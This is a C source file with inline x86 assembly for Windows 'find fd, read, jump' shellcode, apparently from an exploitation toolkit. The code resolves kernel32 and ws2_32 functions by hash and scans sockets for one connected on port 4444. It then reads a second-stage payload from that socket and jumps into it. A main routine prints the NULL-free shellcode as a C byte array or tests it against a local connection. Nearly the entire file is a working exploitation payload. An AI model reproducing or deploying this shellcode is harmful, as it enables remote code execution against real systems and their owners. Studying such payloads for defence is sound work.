/* * Generic find fd, read, jump shellcode * * Targets * * 95/98/ME/NT/2K/XP * * Usage * * $ findfdread.exe * Usage: findfdread.exe [test | cstyle] * * To generate usable code: * * $ findfdread.exe cstyle * * To test the code by having it simulate a connection to 127.0.0.1:4444 * * $ findfdread.exe test * * Features/Quirks: * * * No NULLs. * * Disclaimer * * The author cannot be held responsible for how this code is used. * * Compile * * Kernel32 resolution via PEB (Default) * * cl findfdread.c /link /debug ws2_32.lib * * Kernel32 resolution via SEH * * cl /DUSE_KERNEL32_METHOD_SEH findfdread.c /link /debug ws2_32.lib * * Kernel32 resolution via TOPSTACK (Note: NT/2K/XP only) * * cl /DUSE_KERNEL32_METHOD_TOPSTACK findfdread.c /link /debug ws2_32.lib * * Credits * * vlad902 for ninja foo * * skape * mmiller@hick.org */ #include #include #pragma warning(disable: 4068) int __declspec(naked) findfdread_begin() { __asm { entry: jmp get_find_function // Jump forward to get find_function's address entry_back: jmp startup // Skip over our lookup functions get_find_function: call entry_back // Call backwards #define FIND_FUNCTION_ONLY #include "generic.c" #undef FIND_FUNCTION_ONLY startup: pop esi // Pop the address of find_function #define FIND_KERNEL32_ONLY #define USE_INLINE #include "generic.c" xchg edx, eax // Save it in edx push 0xec0e4e8e // Push LoadLibraryA hash push edx // Push kernel32 handle call esi // Call find_function xchg ebx, eax // Save the VMA of LoadLibraryA in ebx load_ws2_32: xor eax, eax // Zero eax mov ax, 0x3233 // Set low half to 32 push eax // Push it push 0x5f327377 // Push 'ws2_' push esp // Push the pointer to 'ws2_32' call ebx // Call LoadLibraryA xchg edx, eax // Save the handle in edx load_ws2_32_syms: push 0x95066ef2 // Push getpeername hash push edx // Push ws2_32 handle call esi // Call find_function xchg edi, eax push 0xe71819b6 // Push recv hash push edx // Push ws2_32 handle call esi // Call find_function xchg ebx, eax find_fd: mov ebp, esp // Save esp in ebp for restoration and sockaddr_in xor esi, esi // Zero the fd find_fd_loop: inc esi // Increment our fd push 0x10 // Push 16 push esp // Push the name length pointer push ebp // Push the sockaddr_in pointer push esi // Push the fd call edi // Call getpeername mov esp, ebp test eax, eax // Check to see if this fd is valid jnz find_fd_loop // If ZF is not set, we failed. Loop again. find_fd_check_port: cmp word ptr [ebp + 0x02], 0x5c11 // Check to see if the port matches what we want (4444). jne find_fd_loop // If not, loop again. recv_fd: mov edi, esp // Save esp in edi push eax // Push Flags (0) mov ah, 0x20 // Set eax to 0x2000 push eax // Push Length (0x2000) push edi // Push Buffer push esi // Push Fd call ebx // Call recv jmp_code: jmp edi // Jump into our code } } void __declspec(naked) findfdread_end() { __asm ret } int main(int argc, char **argv) { if (argc == 1) { fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]); return 0; } if (!strcmp(argv[1], "test")) { WSADATA data; WORD ver = MAKEWORD(2,2); int fd; struct sockaddr_in s; WSAStartup(ver, &data); fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); s.sin_family = AF_INET; s.sin_port = htons(4444); s.sin_addr.s_addr = inet_addr("127.0.0.1"); if (connect(fd, (struct sockaddr *)&s, sizeof(s)) < 0) { printf("connect failed.\n"); return 0; } printf("fd is %d.\n", fd); findfdread_begin(); } else if (!strcmp(argv[1], "cstyle")) { unsigned char *start = (unsigned char *)((unsigned char *)findfdread_begin); unsigned char *stop = (unsigned char *)((unsigned char *)findfdread_end); unsigned char *c = NULL; unsigned long x = 0, length; // Calculate the actual address in memory of the begin/end function based off their relative jmp points. start += *(unsigned long *)((unsigned char *)findfdread_begin + 1) + 5; stop += *(unsigned long *)((unsigned char *)findfdread_end + 1) + 5; length = stop - start; fprintf(stdout, "// %lu byte findfdread shellcode\n\n", length); fprintf(stdout, "unsigned char findfdread[] = \""); for (c = start; x < length; x++) fprintf(stdout, "\\x%2.2x", c[x]); fprintf(stdout, "\";\n\n"); } else fprintf(stdout, "%s: invalid option\n", argv[0]); return 1; }